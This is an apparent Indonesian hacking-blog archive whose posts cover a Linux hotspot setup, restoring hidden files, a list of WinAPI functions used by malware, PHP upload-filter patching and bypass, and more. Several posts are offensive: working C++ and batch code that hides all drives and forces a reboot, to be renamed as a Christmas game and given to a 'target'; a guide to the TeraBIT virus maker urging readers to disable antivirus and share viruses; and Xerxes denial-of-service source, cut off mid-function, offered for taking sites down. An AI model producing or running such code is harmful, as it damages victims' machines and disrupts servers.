Sebenarnya ini tak luput dari dasar penghitungan IP, untuk mempermudah maka saya buat kan cara gampang hitung ip addressnya. Oke tutorial ini mungkin masih banyak yang bingung dan ingin bertanya tanya, silahkan komen di bawahnya, fast response ko ;p

Sekian tutorial Cara Gampang Hitung IP Address

Internet Smartfren Di Ubuntu 10.04++

2013-04-26T11:23:00.003+07:00

Sebenernya ini cara lama, tapi mungkin disini agan agan semua masih ada yang nyaman dengan gnome nya ubuntu 10.04 jadi enggan untuk move on ke versi selanjutnya…

Spec :
- Asus Eeepc 1215p
- Ubuntu 10.04
- Smartfren ce682

Langkah-langkahnya adalah:

1. Install dulu tool yang akan digunakan untuk memulai yaitu hostapd dan dhcp-server dengan cara masukkan perintah dibawah:

Code:
$ sudo apt-get install dhcp3-server hostapd

2. Selanjutnya buat file hostapd.conf di home folder
Code:
interface=wlan0
driver=nl80211
ssid=isiterserahkamu
channel=1
hw_mode=g
auth_algs=1
wpa=3
wpa_passphrase=isiterserahkamu
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
rsn_pairwise=CCMP

Pada ssid dan wpa_passphrase, silahkan isi terserah yang anda mau. Nantinya itu akan menjadi nama hotspot dan passwordnya.
Kemudian simpan dan tutup file.
Masuk ke file dhcpd.conf di etc/dhcpd*
Code:
sudo gedit /etc/dhcp*/dhcpd.conf

3. Selanjutnya tambahkan script dibawah yang pada file dhcpd.conf tersebut
Code:
option subnet-mask 255.255.255.0;
default-lease-time 600;
max-lease-time 7200;
option domain-name-servers 8.8.8.8, 8.8.4.4 ;
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.10 192.168.1.254;
option broadcast-address 192.168.1.255;
option routers 192.168.1.1;
}

Penjelasan : DNS yang akan digunakan adalah dari Google. Sedangkan range IP host adalah 192.168.1.10 sampai dengan 192.168.1.254. Sedangkan router dalam hal ini adalah laptop kita, menggunakan IP 192.168.1.1.
Simpan dan tutup file.

4. Masuk ke file isc-dhcp-server di /etc/default
Code:
sudo gedit /etc/default/dhcp*-server

5. Di Interfaces=”” silahkan diberu value wlan0
Code:
INTERFACES=”wlan0″

Simpan dan tutup filenya

6. Masuk ke file sysctl.conf di /etc
Code:
sudo gedit /etc/sysctl.conf

7. Hilangkan tanda pagar pada #net.ipv4.ip_forward=0 menjadi 1. Dan simpan terus tutup filenya.

8. Masuk ke file rc.local di folder yang sama (/etc)
Code:
sudo gedit /etc/rc.local

9. Tambahkan script berikut sebelum exit 0
Code:
/sbin/iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE

Simpan dan tutup file.

10. Buat file hostapd.sh di home dir
Code:
sudo -i ;cd ~
sudo gedit hostapd.sh

11. Masukkan script berikut :
#!/bin/sh -e
Code:
sudo hostapd -B hostapd.conf
sleep 1
sudo ifconfig wlan0 inet 192.168.1.1
sleep 1
sudo /etc/init.d/isc-dhcp-server start
exit

12. Selesai. Untuk menjalankannya, setelah kita men-connect-kan modem kita ke internet, silahkan jalankan script tersebut di home folder
Code:
sh hostapd.sh

Catatan :
Semua file yang di buat di dir home berada di /root
Tinggal sesuaikan aja klo emang mau di taro di home/user

Tested device :
- Blackberry (buat brosing sama donlot doank, app world sama fitur social bawaan bb ga bs)
- Nokia (e63, c3)
- Tablet dan hp android (merek sama jenis nya gue ga inget,)
- Laptop (semua yang ada wifi adaptor nya)

Untuk ubuntu 12.04(wifi+lan), slackware 13,37|14 menyusul.

Cukup sekian dan terima kasih

Virus Menyembunyikan Semua Drive Harddisk

2013-02-03T15:44:00.003+07:00

Add caption

Berikut ini kit ingin berbagi mengenai virus, yang biasa digunakan untuk menghide / menyembunyikan semua drive yang terdeteksi di harddisk. Ini hanya berlaku di windows loh, klo yang lain tidak berpengaruh.

VERSI PERTAMA

Yang pertama dibutuhkan adalah:
1. Compiler C++ untuk membuat aplikasi yang bisa di executable.
2. Siapkan kue & roti christmas

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( “C:\\WINDOWS\\system32\\SembunyikanHarddisk.bat” );

write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n”; write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n”; write<<”shutdown -r -c \”Sorry Your System Is Infected by BinusHacker Virus!\” -f”<<”\n”; write.close(); //close file ShellExecute(NULL,”open”,”C:\\WINDOWS\\system32\\SembunyikanHarddisk.bat “,NULL,NULL,SW_SHOWNORMAL); return 0; }

Simpanlah file tersebut dengan “.cpp” extension, misalkan: “virusharddisk.cpp”
Kemudian compile virusharddisk.cpp menjadi file yang bisa di execute, misal: “virusharddisk.exe”
Setelah itu manipulasi virusharddisk.exe tersebut menjadi “supergame-natal.exe”

VERSI KEDUA

Yang perlu anda persiapkan adalah Notepad.
Kemudian buatlah file command executable dengan format .bat (Windows Command Executable)
Berikut codenya:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \”Sorry Your System Is Infected By BinusHacker Virus!\” -f

Simpanlah file tersebut dengan nama “virusharddisk.bat“, kemudian ubahlah nama filenya dengan nama “game-natal.bat”

Kemudian berikan ke target anda, klo target anda menjalankan.. ya selamat tinggal deh..!!

Boom.. Target anda ke infect deh.. JANGAN SEKALI-KALI MENJALANKAN DI KOMPUTER ANDA SENDIRI, KALAU ENGGAK SENJATA MAKAN TUAN JADINYA..

Tampilkan Hidden File & Folder

2013-02-03T15:38:00.003+07:00

Pernah file dan/atau folder-folder kamu hilang karena komputer terserang virus? Tenang…! Tidak perlu panik dulu. Tulisan kali ini akan membahas tutorial bagaimana mengembalikan file dan folder yang “hilang” (sebenarnya hanya ter-hidden alias disembunyikan) oleh virus pada windows. Meski kasus ini sudah lama ada, virus-virus baru masih saja hobi mengulangi kasus meng-hidden file seperti ini.

Perlu ditekankan bahwa file dan folder yang bisa dikembalikan menjadi normal adalah file atau folder yang “hanya” disembunyikan oleh virus. File dan folder yang benar-benar hilang atau terhapus tidak bisa dikembalikan lagi, kecuali menggunakan sistem restore.

Okeh, kita mulai tutorial bagaimana menampilkan kembali file dan folder yang di-hidden oleh virus:

1. Start > Run > Notepad
Copy Paste-kan :

Code:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
“ServerAdminUI”=dword:00000000
“Hidden”=dword:00000001
“ShowCompColor”=dword:00000001
“HideFileExt”=dword:00000001
“DontPrettyPath”=dword:00000000
“ShowInfoTip”=dword:00000001
“HideIcons”=dword:00000000
“MapNetDrvBtn”=dword:00000000
“WebView”=dword:00000001
“Filter”=dword:00000000
“SuperHidden”=dword:00000001
“SeparateProcess”=dword:00000000
“ListviewAlphaSelect”=dword:00000001
“ListviewShadow”=dword:00000001
“ListviewWatermark”=dword:00000001
“TaskbarAnimations”=dword:00000001
“StartMenuInit”=dword:00000002
“StartButtonBalloonTip”=dword:00000002
“TaskbarSizeMove”=dword:00000000
“TaskbarGlomming”=dword:00000000
“NoNetCrawling”=dword:00000000
“FolderContentsInfoTip”=dword:00000001
“FriendlyTree”=dword:00000001
“WebViewBarricade”=dword:00000000
“DisableThumbnailCache”=dword:00000000
“ShowSuperHidden”=dword:00000001
“ClassicViewState”=dword:00000000
“PersistBrowsers”=dword:00000000
“Start_LargeMFUIcons”=dword:00000001
“Start_MinMFU”=dword:00000006

Save file dgn nama : showhiddenfiles.reg ( save dimana saja )

2. Start > Run > Notepad
Copy Paste-kan :

Code:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30501″
“Type”=”radio”
“CheckedValue”=dword:00000002
“ValueName”=”Hidden”
“DefaultValue”=dword:00000000
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51104″

Save file dgn nama : nohidden.reg ( terserah mo di save dimana saja lg…heheh )

3. Start > Run > Notepad
Copy Paste-kan :

Code:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30500″
“Type”=”radio”
“CheckedValue”=dword:00000001
“ValueName”=”Hidden”
“DefaultValue”=dword:00000002
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51105″

Save file dgn nama : showall.reg ( terserah mo di save dimana sj lg….wkwkwk )

Setelah 3 file tersebut diatas jadi, klik satu persatu mulai dr no. 1 s/d 3 ( Pilih “Yes” )

NB : Simpan file ( .REG ) ini baik2, dan apabila suatu zaman nanti file & folder anda di-hidden lg oleh virus, anda dpt menggunakanx kembali….. Ok

Membuat Virus Menggunakan TeraBIT

2013-01-23T18:26:00.002+07:00

Siapa bilang membuat virus itu susah ?

Sekarang anda bisa membuat virus dari yang paling simple sampe Trojan yang dapat merusak sistem.

Oke, skrg saya akan beri penjelasannya dulu……… Cekidot gan……

1. Informasi Software:

Software ini dibuat oleh orang Iran. berita tersebut juga belum pasti kebenarannya, tetapi saya mencoba search di google.com dan saya mendapat info yang menyebutkan bahwa software TeraBit Virus Maker adalah asli buatan Iran, dan itu pun dalam versi 3.1 . Dalam versi 3.1 sampai yang sebelumnya, software ini belum support untuk Windows 7, hanya support pada Sistem Operasi sebelum Windows 7, seperti: Windows XP,Vista. Disini saya memiliki Software TeraBit Virus Maker versi 3.2 yang telah support dengan Windows 7.

2. Fungsi Software:

Software ini berfungsi untuk membuat virus secara instan dengan kemampuan yang bisa kita pilih sendiri sehingga user dapat menggunakannya dengan mudah dan cepat. Di dalam software tersebut telah disediakan fitur-fitur yang bisa kita gunakan dalam pembuatan virus, ada 54 fitur yang bisa kita gunakan, saya hanya akan menyebutkan 15 fitur saja dan untuk fitur yang lain bisa dilihat di gambar. 15 fitur itu adalah:

1. Avoid Opening Calculator

2. Avoid Opening Copy,Move Window

3. Avoid Opening Gpedit

4. Avoid Opening Media Player

5. Avoid Opening Mozzila Firefox

6. Avoid Opening MsConfig

7. Avoid Opening Notepad

8. Avoid Opening Wordpad

9. Avoid Opening Yahoo Messenger

10. Add 30 User Accounts to Windows

11. Always Clean Clipboard

12. Always Log Off

13. Close Internet Explorer Every 10 sec

14. Delete All Files In Desktop

15. Delete All Files In My Documents

File virus ini ber-ekstensi *.exe . Jadi, ketika file virus ini dieksekusi, maka fitur-fitur yang telah ditambahkan, akan berjalan dan mengubah pengaturan system computer anda sesuai dengan fitur yang anda pilih.

Dan ada item-item yang bisa digunakan untuk melengkapi kesempurnaan dari virus yang anda buat, seperti:

Binder berfungsi untuk mengeksekusi/menjalankan file yang kita kaitkan dengan virus yang anda buat, file yang bisa dikaitkan bisa dalam format apa saja, sperti file gambar, file word, exel, powerpoint, music, notepad, dan lain-lain.

Fake Error Message berfungsi untuk memunculkan pesan palsu yang kita buat sendiri, dan sub-itemnya ada title, message, dan type. Title isi judul pesan, Message isi dengan pesan kalian sendiri, dan type, pilih tipe yang anda inginkan.

Run Custom Command (ini belum saya coba sebelumnya)

Add [ ] fake KB(s) to virus berfungsi untuk menambahkan kapasitas palsu ke dalam file virus tersebut.

File name after install adalah file yang sebenarnya berjalan, saat file palsu tersebut dieksekusi, disana terdapat tipe/ekstensi *.exe yang bisa digunakan.

File Icon adalah item yang digunakan untuk memilih icon file virus tersebut.

File Name adalah item yang digunakan untuk memberi nama pada file tersebut.

Run Virus with Windows adalah item yang berfungsi untuk menjalankan file pada windows.

[R] adalah tombol reset, untuk mereset ulang pengaturan yang telah dipilih ke pengaturan defaultnya

Create Virus berfungsi untuk membuat file virus yang telah kita rancang sebelumnya.

3. Cara Menggunakan Software:

Install deepfreeze untuk menjaga agar komputer anda aman.
Disable Antivirus anda, karena software ini dianggap sebagai virus oleh antivirus.
Jalankan Software tVirusMaker.exe
Pilih/ceklist fitur-fitur yang telah disediakan dan pilih item-item yang akan digunakan.
Terakhir anda klik Create Virus dan simpan ke direktori anda.
File virus siap dijalankan. (*dan bagi-bagi ke teman-teman anda, ‘hahahah…hanya saran’*)

4. Download Software :

Download Link —> DOWNLOAD DISINI

Virus-virus ini juga sangat mudah terdeteksi oleh antivirus, kebanyakan akan berhasil apabila target korban tidak menggunakan antivirus / antivirusnya disable. Tetapi tidak ada salahnya untuk dicoba kan?

Selamat mencoba & jangan disalah gunakan

Kumpulan Fungsi WinAPI Pada Malware

2013-01-23T18:18:00.001+07:00

Virus, Worm, Trojan, Spyware dan sebagainya yang termasuk kategori Malware atau malicious software mungkin sering kita temui dalam aktivitas berkomputer sehari-hari menyebalkan memang jika menemukannya dalam sistem kita [atau memang sengaja di ternak karena hobi?], tapi bagi anda yang tertarik dengan malware atau ingin membuatnya, berikut daftar beberapa fungsi-fungsi API yang sering dipakai oleh malware dalam aksinya beserta Link referensi dari MSDN. yang tentunya lengkap dengan syntak yg digunakan dan parameter yang dipakai pada setiap fungsinya.

Catatan: beberapa fungsi API dibawah ini, ada kemungkinan juga dipakai pada software biasa.

Fungsi-Fungsi Yang Digunakan Malware

——————–
GetWindowsDirectory
——————–
Mendapatkan path lengkap direktori windows,sehingga malware bisa mengcopy dirinya
sendiri ke direktori windows
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms724454(v=vs.85).aspx

———-

RegOpenKey
———-
Fungsi untuk Membuka key registri untuk dibaca dan dimanipulasi
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms724895(v=vs.85).aspx

—————-
GetAsyncKeyState
—————-
Digunakan untuk menentukan apakah key atau tombol tertentu sedang ditekan. Malware
yang menggunakan fungsi ini disebut sebagai keylogger [perekam ketikkan].
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx

————-
GetHostByName
————-
Digunakan untuk melakukan lookup DNS pada host tertentu sebelum membuat
koneksi IP ke host remote.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms738524(v=vs.85).aspx

———–
GetHostName
———–
Mengambil nama host dari komputer. Malware menggunakan gethostname sebagai bagian dari pencurian
informasi dari korban.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms738527(v=vs.85).aspx

———–
GetKeyState
———–
Digunakan oleh keylogger untuk mendapatkan status key tertentu pada keyboard.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms646301(v=vs.85).aspx

—————–
GetModuleFileName
—————–
Mendapatkan nama file secara lengkap dari sebuah modul yang dimuat dalam proses saat ini.
Malware dapat menggunakan fungsi ini untuk memodifikasi atau menyalin file di saat menjalankan proses.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms683197(v=vs.85).aspx

————————
CreateToolhelp32Snapshot
————————
Digunakan untuk membuat snapshot dari proses yang sedang berjalan berikut module atau thread pada proses tersebut
Malware sering menggunakan fungsi ini untuk memonitoring apa ada proses yang membahayakan dirinya,
sehingga malware dapat men-terminatenya dan lainnya
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms682489(v=vs.85).aspx

————
ShellExecute
————
Digunakan untuk mengeksekusi program lain
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx

—————–
URLDownloadToFile
——————
untuk men-download file dari server web dan menyimpannya ke dalam harddisk.
malware yang menggunakan fungsi ini dikenal sebagai downloader
Link : http://msdn.microsoft.com/en-us/library/ms775123(v=vs.85).aspx

————
GetVersionEx
————
Mendapatkan informasi tentang versi Windows yangsedang digunakan.
Hal ini dapat digunakan sebagai bagian dari pncurian informasi korban atau untuk mengatur
fungsi mana yang cocok diterapkan untuk korban
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx

————–
GetProcAddress
————–
Mengambil address dari suatu fungsi dalam DLL yang telah dimuat ke memori. Digunakan untuk
mengimpor fungsi dari DLL lain selain fungsi yang telah diimpor dalam file header PE.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx

—————————-
Process32First/Process32Next
—————————-
Digunakan untuk memulai proses pencarian dari panggilan sebelumnya yaituCreateToolhelp32Snapshot.
untuk menemukan suatu proses tertentu untuk proses injeksi atau terminate
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms684834(v=vs.85).aspx

———–
OpenProcess
———–
Membuka handle untuk proses lain yang berjalan pada sistem.handle ini
dapat digunakan untuk membaca dan menulis ke memori proses lain atau untuk menginjeksi
kode ke proses lainnya.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx

————–
RegisterHotKey
————–
Digunakan untuk mendaftarkan handle untuk diberitahu kapan saja korban memasukkan tertentu
kombinasi tombol (seperti CTRL+ALT+Y),
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms646309(v=vs.85).aspx

—————————–
FindFirstFile / FindNextFile
—————————–
Digunakan untuk mencari sebuah file melalui direktori yang cocok dengan nama atau kondisi tertentu
dan bisa juga untuk menghitung atau mengkalkulasi file yang akan dijadikan target infeksi
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa364418(v=vs.85).aspx

————-
FindResource
————-
Digunakan untuk menemukan sumber daya/resource dalam sebuah DLL yang dieksekusi atau telah dimuat,
Malware menggunakan resource untuk menyimpan string, informasi konfigurasi, atau file berbahaya.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms648042(v=vs.85).aspx

————
LoadResource
————
mengeluarkan resource dari sebuah file PE ke dalam memori. Malware kadang-kadang menggunakan
resource untuk menyimpan string, konfigurasi informasi, atau muatan berbahaya lainnya
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms648046(v=vs.85).aspx

———-
FindWindow
———-
digunakan untuk mencocokan nama window dari sebuah proses dengan list atau string tertentu
misal jika ditemukan nama window dari AV yang bernama AntiVirus maka malware akan berusaha
mn-terminate proses AV tersebut
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms633499(v=vs.85).aspx

———–
GetTempPath
———–
Mendapatkan path file sementara yang dibuat atau akan dibuat.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa364992(v=vs.85).aspx

—————-
SetWindowsHookEx
—————-
Menetapkan fungsi hook yang akan dijalankan setiap kali suatu event tertentu dipanggil.
Umumnya digunakan dengan keyloggers dan spyware,
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx

———-
CreateFile
———-
Membuat file baru atau membuka file yang sudah ada.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx

—————–
CreateFileMapping
—————–
Membuat buffer untuk mapping file yang memuat file ke memori dan
membuatnya dapat diakses melalui alamat memori. Biasanya malware tipe launcher, loader, dan injector
menggunakan fungsi ini untuk membaca dan memodifikasi file PE.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa366537(v=vs.85).aspx

———–
CreateMutex
———–
Fungsi yang dapat digunakan oleh malware untuk membuat mutex,
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms682411(v=vs.85).aspx

————-
CreateProcess
————-
fungsi yang digunakan malware untuk Membuat atau menjalankan proses baru.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx

————-
CreateService
————-
Biasanya malware Membuat service yang dapat membuat dirinya berjalan pada saat boot berlangsung,tanpa
perlu memanipulasi registry
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms682450(v=vs.85).aspx

Tehnik atau Fungsi Khusus Pada Malware

Anti Debugging

—————–
IsDebuggerPresent
—————–
Cek untuk melihat apakah proses saat ini sedang di debug, fungsi ini sebagai bagian dari
teknik anti-debugging.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx

—————–
OutputDebugString
—————–
menghasilkan Output string ke debugger jika sedang dalam debug.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa363362(v=vs.85).aspx

————————–
CheckRemoteDebuggerPresent
————————–
Fungsi untuk melihat atau melakukan cek apakah proses tertentu atau proses diri sendiri sedang di debug.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms679280(v=vs.85).aspx
=======================================================
Lainnya,seperti akses internet,jaringan dan sebagainya
=======================================================

———————
AdjustTokenPrivileges
———————
Digunakan untuk mengaktifkan atau menonaktifkan hak akses tertentu pada proses. Biasanya Malware yang
melakukan injeksi pada proses sering memanggil fungsi ini untuk mendapatkan hak akses tambahan.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa375202(v=vs.85).aspx

——
BitBlt
——
Digunakan untuk menyalin data grafis dari satu perangkat ke perangkat lainnya.
Spyware kadang-kadang menggunakan fungsi ini untuk menangkap screenshot. Fungsi ini sering
ditambahkan oleh compiler sebagai bagian dari kode perpustakaan.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/dd183370(v=vs.85).aspx

———————–
GetSystemDefaultLangId
———————–
Mendapatkan pengaturan default bahasa untuk sistem. Hal ini dapat digunakan
untuk menyesuaikan menampilkan dan nama file, sebagai bagian dari survei dari korban
yang terinfeksi, atau dengan malware “patriotik” yang mempengaruhi sistem hanya dari daerah atau negara
tertentu.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/dd318120(v=vs.85).aspx

————-
NetShareEnum
————
Digunakan untuk menghitung atau kalkulasi jaringan yang di shared.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/bb525387(v=vs.85).aspx

——————–
NtQueryDirectoryFile
——————–
Mendapatkan informasi tentang file dalam direktori. Rootkit biasanya menghubungkan
fungsi ini untuk menyembunyikan file.
Link : http://msdn.microsoft.com/en-us/library/windows/hardware/ff556633(v=vs.85).aspx

————–
VirtualAllocEx
————–
Sebuah rutinitas memori-alokasi yang dapat mengalokasikan memori dalam proses remote.
Malware menggunakan VirtualAllocEx sebagai bagian dari proses injeksi.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx

—————-
VirtualProtectEx
—————-
Perubahan perlindungan pada daerah memori. Malware dapat menggunakan ini
berfungsi untuk mengubah bagian read-only dari memori untuk dieksekusi.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa366899(v=vs.85).aspx

——————
WriteProcessMemory
——————
Digunakan untuk menulis data ke proses remote. Malware menggunakan WriteProcessMemory
sebagai bagian dari proses injeksi.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx

————
GetTickCount
————
Mengambil jumlah milidetik sejak boot berlangsung. Fungsi ini
kadang-kadang digunakan untuk mengumpulkan informasi waktu.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms724408(v=vs.85).aspx

—————-
InternetOpenUrl
—————-
Membuka URL tertentu untuk koneksi menggunakan FTP, HTTP, HTTPS atau.
URL
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa385098(v=vs.85).aspx

—————-
InternetReadFile
—————-
Membaca data dari URL yang sebelumnya dibuka.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa385103(v=vs.85).aspx

—————–
InternetWriteFile
—————-
Menulis data ke URL yang sebelumnya dibuka.
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/aa385128(v=vs.85).aspx

————–
IsWoW64Process
————–
Digunakan oleh proses 32-bit untuk menentukan apakah proses yang berjalan itu adalah proses 64-bit
Link : http://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx

——————————
Wow64DisableWow64FsRedirection
——————————
Menonaktifkan File redirection yang terjadi di 32-bit file yang dimuat pada sistem 64-bit.
Jika aplikasi 32-bit membuat file ke \Windows\System32 setelah memanggil fungsi ini,
maka akan membuat file secara tepat ke \Windows\System32 bukan diarahkan ke \Windows\SysWOW64.

PHP Arbitrary File Upload Simple Patching

2013-01-22T18:46:00.001+07:00

Saya akan membahas tentang cara simple mempatch PHP Arbitrary File Upload.

Kebanyakan website yang vuln diupload memiliki garis besar seperti ini:

Contoh simple upload.php file upload.

1

2

3

4

5

6

7

8

9

<span style="color: #0000ff;"><?php

$uploaddir = 'uploads/'; // Relative path under webroot

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {

echo "File is valid, and was successfully uploaded.\n";

} else {

echo "File uploading failed.\n";

}

?></span>

Contoh form yang dipake dalam file index untuk upload:

1

2

3

4

<span style="color: #0000ff;"><form name="upload" action="upload.php" method="POST" ENCTYPE="multipart/formdata">

Select the file to upload: <input type="file" name="userfile">

<input type="submit" name="upload" value="upload">

</form></span>

Disini tidak ada code yang memfilter upload filetype.
Jadi kita bisa langsung saja upload: shell.php

Patching yg bisa dilakukan adalah menambahkan filter filetype dalam script upload.php
Contohnya:

1

2

3

4

5

6

7

8

9

10

11

12

13

<span style="color: #0000ff;"><?php

if($_FILES['userfile']['type'] != "image/gif") {

echo "Sorry, we only allow uploading GIF images";

exit;

}

$uploaddir = 'uploads/';

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {

echo "File is valid, and was successfully uploaded.\n";

} else {

echo "File uploading failed.\n";

}

?></span>

Untuk “images/gif” bisa diganti dengan “images/jpg” dll…

Kita liat backgound request uploadnya

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

<span style="color: #0000ff;">POST /upload.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data;

Content-Length: 156

Content-Disposition: form-data; name="userfile"; filename="shell.php"

...

...

-

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 13:54:01 GMT

Server: Apache

X-Powered-By: PHP/5.2.2-pl6-gentoo

Connection: close

Content-Type: text/html

Sorry, we only allow uploading GIF images</span>

Hehehe..
Happy Patching..

Bypass PHP Arbitrary File Upload

2012-12-30T19:00:00.002+07:00

Ok semua..
Sekarang saya akan melanjutkan pembahasan Tentang PHP Arbitrary File Upload.
Yang sebelumnya telah dibahas di: http://www.binushacker.net/php-arbitrary-file-upload-simple-patching.html

Ok disana patchingnya emang ga terlalu bagus…
Karena filetype bisa di manipulasi..
Bukan dengan merename shell.jpg.php tetapi dengan memanipulasi “header” file

Cara membypassnya adalah sebagai berikut:
Review codenya dulu

Kalo kita coba di HTTP response server kira-kira dapat begini dengan code diatas:

Ok kita liat… ada footprint yang keren disana..

Gimana kalo kita manipulasi upload kita supaya http server membaca script kita sebagai images/gif

Simple code exploitnya..

Coba kita liat apakah sukses exploit kita..

Hohoohohoho…

Untuk patchingnya:
Kita perketat aja patchingnya dengan mengganti code diatas dengan code berikut

Happy Patching..

DDOS Tools: Xerxes DOS Tools

2012-12-30T18:58:00.002+07:00

Berikut ini adalah source code Xerxes DOS (DDOS Tools) yang digunakan untuk melakukan DOS terhadap server-server. Digunakan oleh The Jester untuk takedown situs-situs, langsung aja ini source codenya:

/* XerXes – Most powerful dos tool – THN (http://pastebin.com/aWZMbjSU) */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int make_socket(char *host, char *port) {
   struct addrinfo hints, *servinfo, *p;
   int sock, r;
//   fprintf(stderr, “[Connecting -> %s:%s\n", host, port);
   memset(&hints, 0, sizeof(hints));
   hints.ai_family = AF_UNSPEC;
   hints.ai_socktype = SOCK_STREAM;
   if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
       fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
       exit(0);
   }
   for(p = servinfo; p != NULL; p = p->ai_next) {
       if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
           continue;
       }
       if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
           close(sock);
           continue;
       }
       break;
   }
   if(p == NULL) {
       if(servinfo)
           freeaddrinfo(servinfo);
       fprintf(stderr, "No connection could be made\n");
       exit(0);
   }
   if(servinfo)
       freeaddrinfo(servinfo);
   fprintf(stderr, "[Connected -> %s:%s]\n”, host, port);
   return sock;
}

void broke(int s) {
   // do nothing
}

#define CONNECTIONS 8
#define THREADS 48

void attack(char *host, char *port, int id) {
   int sockets[CONNECTIONS];
   int x, g=1, r;
   for(x=0; x!= CONNECTIONS; x++)
       sockets[x]=0;
   signal(SIGPIPE, &broke);
   while(1) {
       for(x=0; x != CONNECTIONS; x++) {
           if(sockets[x] == 0)
               sockets[x] = make_socket(host, port);
           r=write(sockets[x], “\0″, 1);
           if(r == -1) {
               close(sockets[x]);
               sockets[x] = make_socket(host, port);
           } else
//               fprintf(stderr, “Socket[%i->%i] -> %i\n”, x, sockets[x], r);
           fprintf(stderr, “[%i: Voly Sent]\n”, id);
       }
       fprintf(stderr, “[%i: Voly Sent]\n”, id);
       usleep(300000);
   }
}

void cycle_identity() {
   int r;
   int socket = make_socket(“localhost”, “9050″);
   write(socket, “AUTHENTICATE \”\”\n”, 16);
   while(1) {
       r=write(socket, “signal NEWNYM\n\x00″, 16);
